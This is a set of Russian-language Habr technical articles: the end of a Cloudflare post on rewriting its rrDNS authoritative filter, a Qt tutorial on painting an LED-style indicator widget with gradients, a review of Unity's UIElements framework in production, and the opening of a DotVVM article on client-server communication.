Новый сервис (написанный на нашем любимом языке Go) работает в продакшене с июля 2016 года, и на текущий момент мы мигрировали на него более 99% всех пользовательских зон. Если убрать случаи с задержками по причине сетевых проблем, то новая система передачи данных пока что показала нулевые задержки.
Авторитативный rrDNS v2
=======================
rrDNS является модульной программой, что позволяет писать различные "фильтры", которые могут передавать обработку определённых типов запросов другому коду. Авторитативный фильтр берет входящий DNS запрос, смотрит на зоны, которым принадлежит запрос и выполняет всю необходимую логику, чтобы найти RRSet и вернуть обратно клиенту.
Поскольку мы полностью пересмотрели низлежащую модель данных DNS на наших пограничных серверах, нам необходимо было значительно переделать и "Авторитативный Фильтр" в rrDNS. Это тоже было одним из тёмных уголков нашей кодовой базы, которая не менялась много лет. Как и с любой устаревающей кодовой базой, изменение её было непростой задачей, и мы решили переписать этот фильтр полностью с нуля. Это позволило начать всё с чистого листа, основываясь на новой модели данных, с прицелом на производительность и с более подходящими решениями для того объема и формата DNS трафика, который мы имеем сегодня. Решение переписать с нуля также позволило гораздо легче вести разработку с использованием лучших практик, таких как высокое покрытие кода тестами и хорошая документация.
Новая версия авторитативного фильтра работает в продакшене с конца 2016 года и уже сыграла ключевую роль в работе с DNS нашего нового [решения для load-balancing](https://www.cloudflare.com/load-balancing/).
Результаты перехода на новый фильтр нас порадовали: мы начали отвечать на DNS запросы в среднем в 3 раза быстрее, чем раньше, что было отличной новостью для наших клиентов, и улучшили наши силы в обходе масштабных DNS атак. Мы можем видеть на этом графике, что по мере того, как количество мигрировавших зон увеличилось, среднее время ответа значительно уменьшилось.
Переобувание на лету
====================
Самая затратная по времени часть проекта была миграция клиентов со старой на новую версию, причём так, чтобы никто не испытывал никаких проблем и даже не знал, что мы что-то делаем. Для достижения этого Cloudflare потребовались значительные усилия от массы людей в наших отделах связей с клиентами и поддержки. У Cloudflare много офисов в разных часовых поясах — Лондон, Сан-Франциско, Сингапур и Остин — и синхронизация всех была одним из ключевых элементов успеха.
Как один из элементов процесса релиза нового rrDNS мы автоматически собирали и повторяли запросы с продакшн системы на старом и новом коде, чтобы обнаружить любые неожиданные отличия. Эту же технику мы решили применить и для миграций зон. Для любой зоны, чтобы пройти тест, мы сравнивали возможные ответы для всей зоны между старой и новой системой. Малейшее отличие в результате автоматически исключало зону из процесса миграции.
Это позволило нам последовательно тестировать миграцию зон и исправлять недочёты по мере их возникновения, выпуская релизы регулярно. Мы решили не идти пугающим путём перехода со старой на новую систему одним махом, а запустили их параллельно и постепенно мигрировали зоны, поддерживая их в синхронизации. Это означало, что мы в любой момент можем мигрировать назад в случае, если что-то случится.
Как только мы запустили процесс, мы спокойно начали мигрировать по несколько сотен тысяч зон в день, и пристально наблюдали за тем, как близко мы приблизились к нашей начальной цели в 99%. Последняя миля всё ещё в процессе, так как всегда есть элемент вовлечения клиентов в определённых сложных конфигурациях.
Чего мы добились?
=================
Заменить часть инфраструктуры ядра Cloudflare потребовало значительных усилий со стороны большого количества команд. Чего же мы добились?
* Прирост производительности в 3 раза в ответах на DNS запросы
* Более быстрое и надежное распространение обновлений DNS по всему миру
* Более цельный набор возможностей, основанный на нынешних реалиях трафика, и хорошая документация поведения пограничных серверов
* Большее покрытие тестами, лучше метрики и большая уверенность в нашем код, что позволяет нам более уверенно делать изменения и разрабатывать наши DNS решения
Теперь, когда мы можем более быстро обслуживать наших DNS клиентов, мы скоро выкатим поддержку для нескольких новых типов RR и некоторые новые интересные фичи в следующие месяцы. | https://habr.com/ru/post/326372/ | null | ru | null |
# Qt: рисование по мотивам векторной графики
Qt предоставляет программисту очень богатые возможности, однако набор виджетов ограничен. Если ничего из имеющегося в наличии не подходит, приходится рисовать что-то свое. Простейший способ — использовать готовые картинки — имеет серьезные недостатки: необходимость хранения изображений в файле или ресурсах, проблемы с масштабируемостью, с переносимостью форматов изображений. Ниже описывается вариант использования принципов векторной графики без использования собственно векторных изображений.
Преамбула
---------
Началось все с того, что понадобилась однажды индикация одноразрядных признаков. Некоторое приложение получает по некоторому порту некоторые данные, пакет надо разобрать и отобразить на экране. Хорошо бы при этом как-то имитировать привычную приборную лицевую панель. Для отображения цифровых данных Qt предлагает «из коробки» класс QLCDNumber, похожий на знакомые семисегментные индикаторы, а вот одиночных лампочек что-то не видно.
Использование флажков (они же check boxes) и переключателей (они же radio buttons) для этих целей плохо, и вот список причин:
* Это неправильно семантически. Кнопки — они и есть кнопки, и предназначены для ввода пользователем, а не для показа ему чего-либо.
* Отсюда вытекает второе: пользователь так и норовит тыкнуть в такие кнопки. Если при этом обновление информации не особенно быстрое, индикация будет врать, а пользователь — сообщать о неправильной работе программы, мерзко хихикая.
* Если заблокировать кнопку для нажатия (setEnabled(false)), то она становится некрасиво серой. Помнится, в Delphi, в районе версии 6, был такой финт ушами: можно было положить флажок на панель и отключить доступность панели, а не флажка, тогда флажок не был ни серым, ни активным. Тут такой фокус не проходит.
* Кнопки имеют фокус ввода. Соответственно, если в окне есть элементы ввода, и пользователь гуляет по ним с помощью клавиши «Tab», ему придется погулять и по элементам вывода, это неудобно и некрасиво.
* В конце концов, такие кнопки просто неэстетично смотрятся, особенно рядом с семисегментниками.
Вывод: надо рисовать лампочку самому.
Муки выбора
-----------
Сначала поискал готовые решения. В ту далекую пору, когда использовал Delphi, можно было найти просто гигантское количество готовых компонентов, как от серьезных фирм, так и любительского изготовления. В Qt с этим напряженка. У QWT есть кое-какие элементы, но не то. Любительщины вообще не видел. Наверное, если грамотно рыть на Github`е, то можно что-то найти, но я, пожалуй, быстрее сам сделаю.
Первое, что напрашивалось из самодельного — использовать два файла-картинки с изображениями включенной и выключенной лампочки. Плохо:
* Надо найти хорошие картинки (или нарисовать, но художник я никакой);
* Принципиальный вопрос: тырить нехорошо, даже картинки, даже валяющиеся под ногами;
* Надо их хранить где-то. В файлах совсем плохо: случайно сотрется — и нету кнопок. В ресурсах получше, но тоже не хочется, если можно обойтись;
* Масштабируемость никакая;
* Настраиваемость (цвета, например) достигается только добавлением файлов. То есть, ресурсоемко и негибко.
Второе, что вытекает из первого — вместо картинок использовать векторные изображения. Тем более, что Qt умеет рендерить SVG. Тут уже чуть проще с поиском собственно изображения: в сети много уроков по векторной графике, можно найти что-то более-менее подходящее и адаптировать под свои нужды. Но остается вопрос по хранению и настраиваемости, да и рендеринг не бесплатен по ресурсам. Копейки, конечно, но все же...
И третье вытекает из второго: можно же воспользоваться принципами векторной графики при самостоятельной прорисовке изображения! Файл векторной картинки в текстовом виде указывает, что и как рисовать. Я могу кодом указать то же самое, используя векторные туториалы. Благо, у объекта QPainter имеются в наличии необходимые инструменты: перо, кисть, градиент и рисование примитивов, даже заливка текстурой. Да, инструменты далеко не все: нет масок, режимов наложения, но совсем уж фотореалистичности не требуется.
Поискал немного примеры в сети. Взял первый попавшийся урок: «Рисуем кнопку в графическом редакторе Inkscape» с сайта «Рисовать легко». Кнопка из этого урока гораздо больше похожа на лампочку, чем на кнопку, что меня вполне устраивает. Делаю заготовку: вместо Inkscape — проект в Qt.
Проба пера
----------
Создаю новый проект. Выбираю название проекта rgbled (потому что хочу сделать что-то вроде RGB-светодиода) и путь к нему. Выбираю базовый класс QWidget и название RgbLed, отказываюсь создавать файл формы. Проект по умолчанию после запуска делает пустое окно, оно пока неинтересное.
### Подготовка к рисованию
Заготовка есть. Теперь надо завести закрытые члены класса, которые будут определять геометрию рисунка. Существенным плюсом векторной графики является ее масштабируемость, поэтому константных чисел должно быть по минимуму, и те лишь задавать пропорции. Размеры будут пересчитываться в событии resizeEvent(), которое надо будет переопределить.
В используемом уроке по рисованию размеры задаются в пикселах по ходу действия. Мне же нужно заранее определить, что я буду использовать и как пересчитывать.
Рисуемая картинка состоит из таких элементов:
* внешнее кольцо (с наклоном наружу, часть выпуклого ободка)
* внутреннее кольцо (с наклоном внутрь)
* корпус лампочки-светодиода, «стекло»
* тень по краю стекла
* верхний блик
* нижний блик
Концентрические круги, то есть, всё, кроме бликов, определяется позицией центра и радиусом. Блики определяются центром, шириной и высотой, причем позиция X центров бликов совпадает с позицией X центра всего рисунка.
Для расчетов элементов геометрии понадобится определить, что больше — ширина или высота, потому что лампочка круглая и должна вписываться в квадрат со стороной, равной меньшему из двух измерений. Итак, добавляю соответствующие закрытые члены в заголовочный файл.
**код**
```
private:
int height;
int width;
int minDim;
int half;
int centerX;
int centerY;
QRect drawingRect;
int outerBorderWidth;
int innerBorderWidth;
int outerBorderRadius;
int innerBorderRadius;
int topReflexY;
int bottomReflexY;
int topReflexWidth;
int topReflexHeight;
int bottomReflexWidth;
int bottomReflexHeight;
```
Затем переопределяю защищенную функцию, вызываемую при изменении размеров виджета.
**код**
```
protected:
void resizeEvent(QResizeEvent *event);
void RgbLed::resizeEvent(QResizeEvent *event)
{
QWidget::resizeEvent(event);
this->height = this->size().height();
this->width = this->size().width();
this->minDim = (height > width) ? width : height;
this->half = minDim / 2;
this->centerX = width / 2;
this->centerY = height / 2;
this->outerBorderWidth = minDim / 10;
this->innerBorderWidth = minDim / 14;
this->outerBorderRadius = half - outerBorderWidth;
this->innerBorderRadius = half - (outerBorderWidth + innerBorderWidth);
this->topReflexY = centerY
- (half - outerBorderWidth - innerBorderWidth) / 2;
this->bottomReflexY = centerY
+ (half - outerBorderWidth - innerBorderWidth) / 2;
this->topReflexHeight = half / 5;
this->topReflexWidth = half / 3;
this->bottomReflexHeight = half / 5;
this->bottomReflexWidth = half / 3;
drawingRect.setTop((height - minDim) / 2);
drawingRect.setLeft((width - minDim) / 2);
drawingRect.setHeight(minDim);
drawingRect.setWidth(minDim);
}
```
Здесь вычисляется сторона квадрата, в который вписана лампочка, центр этого квадрата, радиус ободка, занимающего максимально возможную площадь, ширина ободка, внешняя часть которого пусть будет 1/10 от диаметра, а внутренняя — 1/14. Затем вычисляется положение бликов, которые находятся в серединах верхнего и нижнего радиусов, ширина и высота подбираются на глазок.
Кроме того, в защищенные поля сразу добавлю набор цветов, которые будут использоваться.
**код**
```
QColor ledColor;
QColor lightColor;
QColor shadowColor;
QColor ringShadowDarkColor;
QColor ringShadowMedColor;
QColor ringShadowLightColor;
QColor topReflexUpColor;
QColor topReflexDownColor;
QColor bottomReflexCenterColor;
QColor bottomReflexSideColor;
```
По названиям примерно понятно, что это цвета лампочки, светлой части тени, темной части тени, три цвета кольцевой тени вокруг лампочки и цвета градиентов бликов.
Цвета надо бы инициализировать, поэтому дополню заготовку конструктора.
**код**
```
RgbLed::RgbLed(QWidget *parent) : QWidget(parent),
ledColor(Qt::green),
lightColor(QColor(0xE0, 0xE0, 0xE0)),
shadowColor(QColor(0x70, 0x70, 0x70)),
ringShadowDarkColor(QColor(0x50, 0x50, 0x50, 0xFF)),
ringShadowMedColor(QColor(0x50, 0x50, 0x50, 0x20)),
ringShadowLightColor(QColor(0xEE, 0xEE, 0xEE, 0x00)),
topReflexUpColor(QColor(0xFF, 0xFF, 0xFF, 0xA0)),
topReflexDownColor(QColor(0xFF, 0xFF, 0xFF, 0x00)),
bottomReflexCenterColor(QColor(0xFF, 0xFF, 0xFF, 0x00)),
bottomReflexSideColor(QColor(0xFF, 0xFF, 0xFF, 0x70))
{
}
```
Еще надо не забыть вставить в заголовочный файл инклуды классов, которые понадобятся при рисовании.
**код**
```
#include
#include
#include
#include
#include
```
Этот код компилируется успешно, но в окне виджета ничего не изменилось. Пора начинать рисовать.
### Рисование
Ввожу закрытую функцию
```
void drawLed(const QColor &color);
```
и переопределяю защищенную функцию
```
void paintEvent(QPaintEvent *event);
```
Событие перерисовки будет вызывать собственно рисование, которому в качестве параметра передается цвет «стекла».
**код**
```
void RgbLed::paintEvent(QPaintEvent *event)
{
QWidget::paintEvent(event);
this->drawLed(ledColor);
}
```
Пока так. А функцию рисования начинаем понемногу заполнять.
**код**
```
void RgbLed::drawLed(const QColor &color)
{
QPainter p(this);
QPen pen;
pen.setStyle(Qt::NoPen);
p.setPen(pen);
}
```
Сперва создается объект-художник, который и будет заниматься рисованием. Затем создается карандаш, который нужен для того, чтобы карандаша не было: в данном изображении обводка по контуру не просто не нужна, а вообще не нужна.
Затем рисуется первый круг в примерном соответствии с уроком по векторной графике: большой круг, залитый радиальным градиентом. У градиента светлая опорная точка вверху, но не на самом краю, а темная — внизу, но тоже не на самом краю. На основе градиента создается кисть, этой кистью художник painter закрашивает круг (то есть, эллипс, вписанный в квадрат). Получается такой код
**код**
```
QRadialGradient outerRingGradient(QPoint(centerX,
centerY - outerBorderRadius - (outerBorderWidth / 2)),
minDim - (outerBorderWidth / 2));
outerRingGradient.setColorAt(0, lightColor);
outerRingGradient.setColorAt(1, shadowColor);
QBrush outerRingBrush(outerRingGradient);
p.setBrush(outerRingBrush);
p.drawEllipse(this->drawingRect);
qDebug() << "draw";
```
Среда подчеркивает параметр color функции drawLed, потому что он не используется. Пусть потерпит, он пока не нужен, но скоро понадобится. Запущенный проект выдает такой результат:
**рисунок**
Добавляем еще порцию кода.
**код**
```
QRadialGradient innerRingGradient(QPoint(centerX,
centerY + innerBorderRadius + (innerBorderWidth / 2)),
minDim - (innerBorderWidth / 2));
innerRingGradient.setColorAt(0, lightColor);
innerRingGradient.setColorAt(1, shadowColor);
QBrush innerRingBrush(innerRingGradient);
p.setBrush(innerRingBrush);
p.drawEllipse(QPoint(centerX, centerY),
outerBorderRadius, outerBorderRadius);
```
Почти тот же самый круг, только меньше размером и вверх ногами. Получаем такую картинку:
**рисунок**
Дальше наконец-то понадобится цвет стекла:
**код**
```
QColor dark(color.darker(120));
QRadialGradient glassGradient(QPoint(centerX, centerY),
innerBorderRadius);
glassGradient.setColorAt(0, color);
glassGradient.setColorAt(1, dark);
QBrush glassBrush(glassGradient);
p.setBrush(glassBrush);
p.drawEllipse(QPoint(centerX, centerY),
innerBorderRadius,
innerBorderRadius);
```
Здесь при помощи функции darker из переданного цвета получается такой же цвет, но потемнее, для организации градиента. Коэффициент 120 подобран на глазок. Вот результат:
**рисунок**
Добавляю кольцевую тень вокруг стекла. Так сделано в уроке по векторной графике, и это должно добавить объему и реалистичности:
**код**
```
QRadialGradient shadowGradient(QPoint(centerX, centerY),
innerBorderRadius);
shadowGradient.setColorAt(0, ringShadowLightColor);
shadowGradient.setColorAt(0.85, ringShadowMedColor);
shadowGradient.setColorAt(1, ringShadowDarkColor);
QBrush shadowBrush(shadowGradient);
p.setBrush(shadowBrush);
p.drawEllipse(QPoint(centerX, centerY),
innerBorderRadius,
innerBorderRadius);
```
Тут градиент трехступенчатый, чтобы тень была гуще к краю и бледнела к центру. Получается так:
**рисунок**
Добавляю блики, сразу оба. Верхний блик в отличие от нижнего (и всех остальных элементов) сделан линейным градиентом. Художник из меня так себе, поверю на слово автору урока. Возможно, в этом есть какая-то правда, экспериментировать с разными видами градиентов не буду.
**код**
```
QLinearGradient topTeflexGradient(QPoint(centerX,
(innerBorderWidth + outerBorderWidth)),
QPoint(centerX, centerY));
topTeflexGradient.setColorAt(0, topReflexUpColor);
topTeflexGradient.setColorAt(1, topReflexDownColor);
QBrush topReflexbrush(topTeflexGradient);
p.setBrush(topReflexbrush);
p.drawEllipse(QPoint(centerX, topReflexY), topReflexWidth, topReflexHeight);
QRadialGradient bottomReflexGradient(QPoint(centerX,
bottomReflexY + (bottomReflexHeight / 2)),
bottomReflexWidth);
bottomReflexGradient.setColorAt(0, bottomReflexSideColor);
bottomReflexGradient.setColorAt(1, bottomReflexCenterColor);
QBrush bottomReflexBrush(bottomReflexGradient);
p.setBrush(bottomReflexBrush);
p.drawEllipse(QPoint(centerX, bottomReflexY),
bottomReflexWidth,
bottomReflexHeight);
```
Вот, собственно, и все, готовая лампочка, как на КДПВ.
**рисунок**
На заметность бликов и выпуклости стекла влияет цвет, точнее, то, насколько он темный. Возможно, имеет смысл добавить регулировку яркости бликов и коэффициента затемнения в функции darker в зависимости от темности, но это уже перфекционизм, я считаю.
Ниже — пример использования в окне программы.
**рисунок**
### Баловство
Для интереса можно поиграться с цветами. Например, переопределив защищенное событие клацанья мыши
```
void mousePressEvent(QMouseEvent *event);
```
таким образом:
**код**
```
void RgbLed::mousePressEvent(QMouseEvent *event)
{
static int count = 0;
if (event->button() == Qt::LeftButton) {
switch (count) {
case 0:
ledColor = Qt::red;
count++;
break;
case 1:
ledColor = Qt::green;
count++;
break;
case 2:
ledColor = Qt::blue;
count++;
break;
case 3:
ledColor = Qt::gray;
count++;
break;
default:
ledColor = QColor(220, 30, 200);
count = 0;
break;
}
this->repaint();
}
QWidget::mousePressEvent(event);
}
```
не забыв добавить мышиные события в заголовок:
```
#include
```
Теперь щелчок мыши по компоненту будет переключать цвет лампочки: красный, зеленый, синий, серый и какой-то от фонаря наугад подобранный.
Эпилог
------
Что касается рисования, то на этом все. А виджету следует добавить функциональности. В моем случае было добавлено булево поле «использовать ли состояние»", еще одно булево поле, определяющее состояние «Вкл» или «Выкл» и цвета по умолчанию для этих состояний, а также открытые геттеры и сеттеры для всего этого. Эти поля используются в функции paintEvent() для выбора цвета, передаваемого drawLed() в виде параметра. В результате можно отключить использование состояний и задавать «лампочке» любой цвет, а можно включить состояния и зажигать или гасить лампочку по событиям. Особенно удобно сделать сеттер состояния открытым слотом и соединить его с сигналом, который надо отслеживать.
Использование mousePressEvent демонстрирует, что виджет можно сделать не только индикатором, но и кнопкой, делая ее нажатой, отпущенной, гнутой, скрученной, раскрашенной и какой хотите еще по событиям наведения, нажатия и отпускания.
Но это уже не принципиально. Целью было показать, где можно взять образцы для подражания при прорисовке собственных виджетов и как эту прорисовку несложно реализовать без использования картинок растровых или векторных, в ресурсах или файлах. | https://habr.com/ru/post/425547/ | null | ru | null |
# Unity UIElements: первые впечатления в продакшн
Сегодня мы поделимся впечатлениями от работы с нашумевшим фреймворком от Unity — UIToolkit, известным также как UIElements. Мы рассмотрим его основные особенности без глубокого погружения в код. Стоит уточнить, что у команды ранее не было опыта работы с веб-версткой и очевидные для профессионалов этой сферы вещи, для нас могут быть не очевидны.
Заметка от партнера IT-центра МАИ и организатора магистерской программы “[VR/AR & AI](https://priem.mai.ru/master/programs/item/index.php?id=103770)” — компании [PHYGITALISM](http://phygitalism.com/).
Предыстория
-----------
Изначально в Unity была [IMGUI](https://docs.unity3d.com/Manual/GUIScriptingGuide.html) система, которая полностью создавалась из кода. Такая система была неудобной, как минимум, по двум причинам: много кода, результат только после компиляции в рантайме. На смену IMGUI пришла [UGUI](https://docs.unity3d.com/Manual/com.unity.ugui.html) система, которой мы привыкли пользоваться. Новая система содержала в себе основные компоненты для работы с UI (Canvas, Image, Button и тп.). Хоть и новая система была гораздо удобнее IMGUI, но проблем всё ещё было достаточно: сложность вёрстки (в том числе и адаптивной), много элементов в иерархии, сложно проектируемая архитектура, медленная работа и т.д.
Многие разработчики, понимая проблемы UGUI, создали свои расширения для Unity Asset Store. Например, нодовые системы типа [DoozyUI](https://assetstore.unity.com/packages/tools/gui/doozyui-complete-ui-management-system-138361) или простая фича, которая могла бы работать из коробки, — скругление краев изображений типа [Procedural UI Image](https://assetstore.unity.com/packages/tools/gui/procedural-ui-image-52200).
Концепция
---------
Вместе с Unity 2019.1 выходит новая система — [UIElements](https://docs.unity3d.com/Manual/UIElements.html) (впоследствии переименованная в UIToolkit, однако первый вариант встречается чаще) — новая структура пользовательского интерфейса для Unity. Важно отметить, что акцент во фреймворке сделан на расширении для Editor, поддержка Runtime внедряется последовательно и входит в roadmap.
*Слайд из презентации к докладу [Building UI for games with the new UI Builder — Unite Copenhagen](https://www.youtube.com/watch?v=t4tfgI1XvGs&feature=emb_title).*
Идея построения интерфейса заимствована из хорошо известной вебу верстки на основе HTML/XAML/XML и CSS файлов. В UIElements реализованы аналоги: UXML используют для построения иерархии объектов, а USS для создания классов стилей, т.е. всего, что отвечает за размер, расположение и форму элемента. От оригинальных форматов структурно они особенно не отличаются, синтаксически отличаются слабо, а функционально упрощены, особенно USS (этот вопрос чуть позже рассмотрим подробнее).
*Слайд из презентации к докладу [Building UI for games with the new UI Builder — Unite Copenhagen](https://www.youtube.com/watch?v=t4tfgI1XvGs&feature=emb_title).*
Задачи для UIElements
---------------------
Наш план был амбициозен: нужно использовать preview пакет в продакшн. Возникает закономерный вопрос, что заставило решиться на подобное?
У нас есть довольно большой проект, который разрабатывается несколько лет и представляет из себя [большой корпус визуализации данных](https://phygitalism.com/dataviz/), и помимо 3D в нем очень много подобного и одновременно разнообразного 2D контента, представленного по большей части графиками и диаграммами в разных конфигурациях. Можете представить себе количество вариантов префабов, степень вложенности объектов и комплексность GUI системы. Привычный для Unity UGUI опирается на не всегда удобные и зачастую проигрывающие по перфомансу компоненты типа Canvas, CanvasGroup, LayoutGroup. Добавление и удаление элементов вызывает неявный ребилд канвасов, а верстка не формализована. Нам это не нравится.
В итоге был сформирован пул задач, которые должен решать UIElements.
Во-первых, **работа в runtime**. И действительно изначально Пакет создавался для работы в редакторе и в этом случае он так или иначе справляется с этой задачей. Однако анонсирование поддержки runtime привлекло довольно много внимания на конференции Unite в 2018 году.
Во-вторых, **создание переиспользуемых и расширяемых компонентов UI**. Количество элементов и их вариаций в проекте значительно выросло, и управлять ими в контексте в системе UGUI становится все сложнее.
В-третьих, **снижение нагрузки 2D GUI на систему**. А кому не хотелось бы оптимизировать UI и снизить количество вызовов отрисовки? Вот и нам захотелось.
В-четвертых, **приближение к созданию UI конструктора**. Проект движется по направлению с более выраженной автономностью, у пользователя должна появиться возможность собирать необходимый набор данных и его представление, в таком случае верстка должна быть безупречной и строго формализованной. С UGUI такое может и можно сделать, но усилия необходимо приложить значительные.
С одной стороны, подобные проекты в Unity встречаются нечасто, но с другой — проблемы на деле привычны и знакомы каждому, кто участвовал в разработке проектов на Unity с богатым графическим интерфейсом. Удобство и перфоманс — однозначно слабые места UGUI.
Наш опыт использования
----------------------
На изучение и интеграцию UIElements мы потратили не один спринт. В проекте мы используем версию 2019.4, и новые функции фреймворка из обновления версии 2020.1 не тестировали.
**Возможности в runtime** Чтобы понимать, можно ли использовать, нужно протестировать все необходимые фичи на целевой платформе. Из-за того, что фреймворк изначально разрабатывался для расширения редактора, нужно следить за отличиями возможностей для runtime. В нашем случае все тесты касаются именно этого аспекта.
**Порог вхождения** Высокий. UIElements как подход значительно отличается от UGUI. Это должен быть Unity разработчик, который потратит достаточно времени, чтобы вникнуть в систему создания UI контролов, который будет прорываться сквозь неявную документацию и форум. Не получится просто сесть и начать работать после просмотра одного тутора и чтения документации по диагонали. Выражаясь мягко, многие в команде остались недовольны соотношением готовности UIElements к продакшн и порогом входа для комфортной работы.
**Flexbox** Я понимаю, что большинству знакомых с версткой не составит проблем сверстать адаптивную панель флексбоксами, однако средний Unity разработчик это не умеет, просто потому обычно ему это не нужно. Как можно заметить, USS все же отличается от CSS и при верстке это нужно учитывать, то есть и опытному в этом вопросе нужно разобраться со спецификой UIElements. Но хочу сказать, когда приходит понимание того, как это работает, верстать становится гораздо легче, и рабочая панель UIBuilder — довольно удобный инструмент для верстки и настройки стилей. И верстать на UIElements все же удобнее, чем верстать на UGUI, т.к. на UGUI флексбоксов просто нет. Однако требует навыков из совершенно разных областей. Многие заметят, что верстка — не задача программиста. Об этом скажу чуть позже.
**Материалы и best practices** Которых нет. Где можно найти полезную информацию, в документации? Она поверхностная и сырая. В статьях и туториалах? Есть единицы официальных туторов без глубокого погружения, других нет. На форуме? Да, там делятся конкретными проблемами, и свою проблему нужно найти и надеяться, что ей есть решение. Но давайте будем честными: это встречается вообще-то нередко. Я регулярно встречаюсь с ситуациями, когда и хорошо известная технология или подход не хранит все-все-все пограничные случаи и все best practices в одном месте, это всегда процесс, всегда — поиск. Так что аргумент довольно спорный.
**Разнообразие путей создания и использования элементов** Можно использовать разную степень вовлеченности UIElements в логику UI, начиная с создания компонентов полностью через код в лучших традициях IMGUI и заканчивая вариантом, при котором представление является максимально пассивным, и мы работаем напрямую с версткой через код. Мне кажется, наиболее интересным будет промежуточный вариант, когда у нас есть некий компонент, реализующий всю специфику представления через систему UIElements и работающий с более высоким уровнем через привычные более абстрактные методы, — это позволит при желании относительно безболезненно подменять реализации и не зависеть от UIElements на более высоком уровне. Хотя, конечно, подходы могут быть разные.
**Работа со стилями** Это, конечно, большой плюс. Работа со стилями доставила много удовольствия после UGUI, пусть и не сразу все было понятно. Но здесь мы столкнулись с рядом проблем и нюансов. Дизайн для нас разрабатывается в Figma, и мы уже были готовы с радостью настроить парсинг в Unity, но это оказалось не так просто. Мало того, что Figma плохо работает с flexbox, так еще желание парсить CSS накладывает определенные обязательства на верстку дизайна и на проработку иерархии, что уже не зависит от разработчика и слабо поддается контролю. При этом USS от CSS отличается более ограниченным набором функций, и это тоже нужно учитывать при верстке, иначе будут ошибки. А ведь это мы еще не начали работу в Unity и UIBuilder. В UIElements есть так называемые inlined styles, благодаря чему информация о стиле элемента содержится напрямую в UXML. Эта вроде как существующая фича на деле крайне нежелательна и не рекомендуется к использованию, как минимум потому что в билде не поддерживается. Но без должного опыта и сноровки это легко пропустить. И это еще не все. При использовании стилей с одинаковыми свойствами на одном элементе, вы получается конфликт стилей, о котором узнаете через получение рандомного результата. Тем не менее, работой со стилями многие остались довольны именно по той причине, что это вносит больше ясности и удобства, чем UGUI.
**Возможности анимации** По сути, их нет. Мы использовали [DOTween Pro](https://assetstore.unity.com/packages/tools/visual-scripting/dotween-pro-32416) для создания анимации, но нужно учитывать, в проекте используется довольно простая 2D анимация, и потребности практически полностью покрываются за счет DOTween.
С обновлением в 2020.1 версии появилась собственная анимация, однако довольно простая по функциям и значительно проще DOTween’а, хотя скорее вcего именно им вдохновлялись разработчики. Вот несколько примеров из [UIToolkitUnityRoyaleRuntimeDemo](https://github.com/Unity-Technologies/UIToolkitUnityRoyaleRuntimeDemo):
```
public void AnimatedScale(float endScale, float tweenDuration)
{
experimental.animation
.Scale(endScale, Mathf.RoundToInt(tweenDuration * 1000))
.Ease(Easing.OutQuad);
}
public void MoveTo(Vector2 screenPosition)
{
transform.position =
new Vector3(
screenPosition.x,
screenPosition.y,
transform.position.z);
}
public void AnimatedMoveTo(Vector2 endPosition, float tweenDuration)
{
experimental.animation
.Position(
new Vector3(
endPosition.x,
endPosition.y,
transform.position.z),
Mathf.RoundToInt(tweenDuration * 1000)).Ease(Easing.OutQuad);
}
```
**Listview** в UIElements — очень полезный инструмент, позволяющий без потери производительности держать сотни кликабельных объектов в списке. В UGUI “из коробки” такого функционала нет, однако есть довольно неплохие ассеты типа [EnhancedScroller](https://assetstore.unity.com/packages/tools/gui/enhancedscroller-36378), которые его реализуют. Разумеется, платные.
Однако в его использовании мы нашли одну интересную особенность. По сути, его функционал оказался не дописан. Например, в качестве системы инпута EventSystem может использовать два типа Event Generation: Read Input (используется по умолчанию) и IMGUI Events.
С опцией Read Input кликабельность Listview не будет работать, т.к. метод ProcessMouseEvents() класса UIElementsEventSystem не обрабатывает и не отсылает информацию о количестве кликов. При переключении на режим IMGUI Events список начинает работать. Интересная деталь, которая может оказаться полезной. Эту часть можно доработать самостоятельно, но оставим это ребятам из Unity Technologies.
**Парсер фреймворка** на данный момент испытывает определенные трудности. Выглядеть это может по-разному. Например, есть ошибка при записи и последующем чтении CSS свойств, которые являются дефолтными для компонента. Подробнее можно посмотреть [ЗДЕСЬ](https://forum.unity.com/threads/uss-auto-creating-default-value-error.954714/). Также кастомные свойства наследованного от VisualElement компонента некорректно отображаются в инспекторе, что затрудняет работу с UIBuilder. Или, например, невозможность работы с inlined стилями, которые с одной стороны существуют, а с другой — никак не работают. А если уж и работают, то точно не в билде. По крайней мере, пока. Подробнее можно почитать [ЗДЕСЬ](https://forum.unity.com/threads/inline-uss-not-being-applied-after-build.931353/#post-6093984). Однако работа над UIElements [ведется крайне активно](https://forum.unity.com/threads/ui-toolkit-latest-version-1-0-0-preview-7.941420/), и многие ошибки исправляются.
**Специалисты по верстке** Сложно найти верстальщиков, а по сути — невозможно, потому как с таким стеком никто не работает. Будьте готовы к тому, что программисты будут верстать и сетовать, либо учите верстальщика работе в Unity и специфике UIElements.
**Кроссплатформенность**, то, за что зачастую выбирают Unity. К сожалению, на данный момент не реализована полноценная кроссплатформенность. Тестируемый проект на Windows планируется к портированию на WebGL, но именно эта платформа не работает, в билде искажая визуал. Из-за чего и пришлось отказаться от использования UIElements в этом проекте. О проблеме известно и с ней планируют работать, подробности можно посмотреть в [ЭТОМ](https://forum.unity.com/threads/styles-are-mangled-when-hiding-and-showing.923282/) треде форума. Поэтому, конечно, необходимо максимально подробно ознакомиться с документацией и форумом на предмет потенциальных проблем на целевой платформе.
Вывод
-----
В заключение хотелось бы сказать, что опыт с UIElements был действительно интересным, т.к. нужно решать вопросы, на которые зачастую не может ответить Google, документация не всегда щедра на подробности, а Unity форум по теме насчитывает десятки тредов.
Нужно ли изучать и пробовать этот фреймворк, несмотря на все недостатки, о которых мы говорили выше?
*Скриншот из [треда](https://forum.unity.com/threads/ui-roadmap.735338/page-2#post-5648080) Unity Forum.*
Мы пришли к выводу, что на данный момент UIElements можно использовать только в ограниченном типе проектов мобильных и PC платформ, мы планируем тестировать его продакшн применение на небольших проектах, технические требования которых удовлетворяют текущим возможностям UIElements. Разработчики “тонко” намекают, что именно его будут развивать, а не UGUI. | https://habr.com/ru/post/517726/ | null | ru | null |
# DotVVM — Коммуникация между клиентом и сервером
Это вторая статья из серии посвященная DotVVM. [Первая статья](https://habr.com/post/353606/) была скорее ознакомительной. Я старался на простом примере показать как работать в DotVVM на базовом уровне. Статья, по сути, не затрагивала самого важного: как это работает.
Этому вопросу а также оптимизации трафика посвящена эта статья.
В этой статье рассмотрим более детально коммуникацию между клиентом и сервером.
Можно взять пример из предыдущей статьи со списком дел. В приложение, написанное там, можно было добавлять новые дела и помечать их как сделанные.
Коммуникация
------------
